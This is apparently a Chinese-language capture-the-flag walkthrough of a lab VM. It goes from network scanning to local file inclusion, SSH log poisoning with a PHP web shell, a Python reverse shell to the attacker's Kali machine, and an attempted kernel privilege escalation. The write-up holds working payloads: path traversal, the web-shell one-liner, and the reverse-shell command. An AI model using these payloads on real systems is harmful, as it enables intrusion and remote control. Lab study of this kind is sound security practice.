arp-scan -l用arp-scan探测一下网段内目标靶机的IP
arp-scan 是一款轻量级的arp扫描工具,会解析mac地址,就是想 局域网 中所有可能的ip地址发出arp请求包,如果得到arp回应,就证明了局域网中某主机使用了该ip。
nmap扫一下c段
nmap -A -T4 -p- 扫描端口
访问发现是apache和ubuntu操作系统
使用dirsearch进行目录遍历
/antibot_image/
里面暴露了两个敏感信息
info.php
screenshot-3.jpg 展示此系统使用了AntiBotPlugin插件
info.php查看源码
可能存在文件包含
通过传入../../../../../../etc/passwd,获取敏感信息
在Linux /etc/passwd文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。系统管理员经常会接触到这个文件的修改以完成对用户的管理工作。
远程文件包含关闭,尝试本地文件包含
包含/var/log/auth.log 可以看到日志文件
/var/log/auth.log是Linux(尤其是Debian系如Ubuntu)记录身份验证和授权事件的日志文件,包括登录尝试(成功或失败)、SSH活动、sudo使用和PAM模块操作。
前面信息搜集时发现开放了 2211 端口,服务为 ssh,尝试对日志文件写入 shell,然后包含日志文件
利用 ssh 连接,写入一句话木马: ssh '<?php system($_GET['cmd']);?>'@192.168.139.187 -p 2211
下面命令执行成功,说明一句话木马写入成功
http://192.168.137.146/antibot_image/antibots/info.php?image=/var/log/auth.log&aaa=id
在kali打开监听端口:nc -lnvp 4444
在浏览器中输入
http://192.168.137.146/antibot_image/antibots/info.php?image=/var/log/auth.log&aaa=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.137.150",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
kali监听到操作,成功获得靶机shell
生成可交互式的shell:python3 -c "import pty;pty.spawn('/bin/bash')"
查看系统内核版本:uname -a
发现系统内核是:Linux ubuntu 4.4.0-21-generic
在kali中查找该系统内核的提权包:searchsploit ubuntu 4.4.0-
下载提权包
文件是.c文件,需要编译才能运行
gcc 45010.c -o exp 把.c文件编译成可执行文件
开启http服务:python3 -m http.server 80
到tmp目录下下载提权poc
版本不匹配,如果版本正确运行攻击代码就可以将权限提升到root权限了,就可以拿到flag了